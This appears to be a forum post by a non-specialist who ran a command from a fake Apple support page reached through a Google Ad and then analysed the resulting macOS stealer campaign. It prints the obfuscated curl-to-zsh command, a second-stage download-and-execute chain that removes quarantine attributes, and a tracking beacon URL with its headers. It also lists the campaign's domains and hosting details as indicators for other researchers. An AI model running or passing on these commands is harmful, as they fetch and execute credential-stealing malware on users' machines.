Not a security person... got hit by an undocumented macOS stealer campaign, reverse engineered it, and tried to take the whole operation down.

DISCLAIMER: I'm a biochem student with no cybersecurity background. Tonight I got tricked into running a malicious terminal command I found via a Google Ad. I spent the next 3 hours with Claude AI trying to figure out exactly what happened. Posting because nobody has documented this campaign yet, this is also my first post on this subreddit so I apologize beforehand... Code samples are posted for research purposes only. Do not execute anything in this post.

First!

My disk space was low on my mac so I search on Google "low disk space mac". Clicked the first thing and it was actually a Google Ad that led to clearspark28.com which was a pixel-perfect clone of Apple's support website, fake Apple copyright footer and all. It told me to paste a command into Terminal to "clean up disk space." I pasted it. The moment I hit enter I knew something was wrong (too good to be true). I know, in hindsight that was so damn obvious but I was distracted during that time...

THE COMMAND:

echo "Downloading Update: https://support.apple.com/storage/cleanup-2.3.15" && curl -s $(echo "aHR0cHM6Ly9jZWRhci1zYXRpbi5jb20vY3VybC8xZmFjMThmNDc2MjIzNGE0M2Y2NWFkNWMyNzQxOWM3MzdlZDBlYWYxNDA4Yzg3NTRkMjhiMWUwMzI5NDg4NmNi" | openssl base64 -d -A) | zsh

The fake Apple URL is just text printed to the screen.

The real URL is base64 encoded and hidden, it points to cedar-satin.com.

macOS showed a permission prompt asking for Finder access. I denied it. I think that stopped the attack.

Downloading the script without executing it revealed:

- Mostly junk padding (fake variables, meaningless loops)

- A gzip compressed, base64 encoded hidden payload

- Everything executed via eval so it never touches disk

Decompressing the payload revealed octal encoded strings hiding all the real commands.

Tracking beacon (fires immediately on execution): https://amber-22.com/api/metrics/run?event=pasted

With headers:

user: AxkPZnSWtzN7LfXvNn7o_H6WDDJ-oCP5b2gqZVITruE

BuildID: a5m2yvGoDVLVNY7hEYjAz0Dksst8zgbvil3Vx-s3rQs

Second stage download and execution: curl -o /tmp/helper https://cedar-satin.com/[path]/cleaner3/update

&& xattr -c /tmp/helper

&& chmod +x /tmp/helper

&& /tmp/helper

The binary was intended to steal browser credentials. It never executed because Finder access was denied.

clearspark28.com: fake Apple phishing page (Host: FEMOIT, GB (abuse@as214351.com))

amber-22.com: victim tracking beacon (Host: Limited Network LTD, Romania (abuse@btcloud.ro))

cedar-satin.com: malware payload server

cedar-satin.com was registered: May 24, 2026

Attack observed: May 26, 2026

Registrant: Maxwell Nguyen

Address: 62 W 7th Street Apt 56, Fort Worth TX 76102 (Almost certainly fake) Nameservers: Cloudflare

The initial attack vector was a paid Google Ad (Campaign ID: 23886301396).

This means someone paid Google with a real payment method to target people searching for Mac storage help.

WHAT I COULDN'T GET:

The actual /tmp/helper binary, it was never written to disk on my machine so I have no sample to analyze. If anyone recognizes this infrastructure, the beacon headers, or the cleaner3/update path, please comment. I'd love to know what the binary actually does and who is behind this. Happy to answer any questions or provide additional details!